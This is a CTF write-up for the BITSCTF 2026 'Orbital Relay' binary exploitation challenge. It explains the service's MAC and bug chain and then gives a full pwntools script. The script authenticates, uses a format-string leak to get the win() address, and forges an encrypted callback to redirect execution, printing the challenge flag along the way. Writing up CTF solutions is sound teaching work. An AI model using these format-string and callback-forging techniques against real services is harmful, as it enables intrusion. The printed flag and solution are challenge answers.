506 words
3 minutes
BITSCTF 2026 - Orbital Relay - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}

Challenge Description#

Given orbital_relay.tar.gz. Remote: nc 20.193.149.152 1339

Protections: Full RELRO, Canary, NX, SHSTK, IBT.

Analysis#

The service uses a binary framed protocol:

Handshake: Client sends SYNCv3?, server responds with 4-byte little-endian session value.

Frame format: chan:u8 | flags:u8 | len:u16(le) | mac:u32(le) | payload[len]

MAC function:

acc = (chan<<16) ^ sess ^ flags ^ 0x9e3779b9;
for each payload byte b:
    acc = rol32(acc, 7);
    acc ^= (b + 0x3d);

Key bug chain in diagnostics handling:

  1. TLV tag 0x10 decrypts attacker bytes into a global string buffer
  2. TLV tag 0x40 triggers: __printf_chk(2, controlled_buffer, st80, st, keep_win) — format string primitive
  3. Tag 0x31 sets encrypted callback pointer. On teardown (chan=9), server decrypts and calls it

Callback decode: decoded = cb_enc ^ (((uint64_t)st80 << 32) ^ st84 ^ 0x9e3779b97f4a7c15)

Exploitation#

  1. Pass auth with proper MAC computation
  2. Use format string to leak win function address
  3. Forge cb_enc so decoded callback == leaked win
  4. Trigger channel 9 to execute win() which prints flag.txt

File used: solve.py

#!/usr/bin/env python3
from pwn import *
import re
import struct

HOST = "20.193.149.152"
PORT = 1339

ST84_INIT = 0x28223B24
SEED_INIT = 0x3B152813
AUTH_XOR = 0x31C3B7A9
CB_CONST = 0x9E3779B97F4A7C15


def mix32(x: int) -> int:
    x &= 0xFFFFFFFF
    x = (((x << 13) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
    x = ((x >> 17) ^ x) & 0xFFFFFFFF
    x = (((x << 5) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
    return x


def kbyte(seed: int, idx: int) -> int:
    idx16 = idx & 0xFFFF
    v = (seed + ((idx16 * 0x045D9F3B) & 0xFFFFFFFF)) & 0xFFFFFFFF
    return mix32(v) & 0xFF


def mac32(payload: bytes, chan: int, flags: int, sess: int) -> int:
    acc = (((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9) & 0xFFFFFFFF
    for b in payload:
        acc = ((acc << 7) | (acc >> 25)) & 0xFFFFFFFF
        acc ^= (b + 0x3D) & 0xFFFFFFFF
    return acc


def frame(chan: int, flags: int, payload: bytes, sess: int) -> bytes:
    return (
        struct.pack("<BBHI", chan, flags, len(payload), mac32(payload, chan, flags, sess))
        + payload
    )


def tlv(tag: int, value: bytes) -> bytes:
    if len(value) > 0xFF:
        raise ValueError("TLV value too long")
    return bytes([tag & 0xFF, len(value)]) + value


def enc_for_tag10(plain: bytes, st80: int, st84: int) -> bytes:
    seed = (st80 ^ st84) & 0xFFFFFFFF
    return bytes([(plain[i] ^ kbyte(seed, i)) & 0xFF for i in range(len(plain))])


def start():
    if args.LOCAL:
        return process(["./orbital_relay"])
    return remote(HOST, PORT)


def main():
    io = start()

    io.send(b"SYNCv3?")
    sess = u32(io.recvn(4))
    log.info(f"session = {sess:#x}")

    st84 = ST84_INIT
    st80 = mix32(SEED_INIT)

    auth_token = (mix32(st84 ^ sess) ^ AUTH_XOR) & 0xFFFFFFFF
    io.send(frame(3, 0, p32(auth_token), sess))

    # set state > 2 requirement for teardown path
    io.send(frame(1, 0, tlv(0x22, b"\x03"), sess))

    # format-string leak path
    leak_fmt = b"%p|%p|%p\n"
    enc = enc_for_tag10(leak_fmt, st80, st84)
    leak_req = tlv(0x10, enc) + tlv(0x40, b"")
    io.send(frame(1, 0, leak_req, sess))

    leak_blob = io.recvuntil(b"relay/open\n", timeout=3.0)
    if not leak_blob:
        leak_blob = io.recvrepeat(1.0)

    m = re.search(rb"0x[0-9a-fA-F]+\|0x[0-9a-fA-F]+\|(0x[0-9a-fA-F]+)", leak_blob)
    win_addr = int(m.group(1), 16)
    log.success(f"win = {win_addr:#x}")

    key = (((st80 & 0xFFFFFFFF) << 32) ^ (st84 & 0xFFFFFFFF) ^ CB_CONST) & 0xFFFFFFFFFFFFFFFF
    cb_enc = win_addr ^ key

    io.send(frame(1, 0, tlv(0x31, p64(cb_enc)), sess))
    io.send(frame(9, 0, b"", sess))

    out = io.recvrepeat(2.0)
    print(out.decode(errors="ignore"))


if __name__ == "__main__":
    main()

Run:

python3 solve.py
BITSCTF 2026 - Orbital Relay - Binary Exploitation Writeup
https://blog.rei.my.id/posts/42/bitsctf-2026-orbital-relay-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-22
License
CC BY-NC-SA 4.0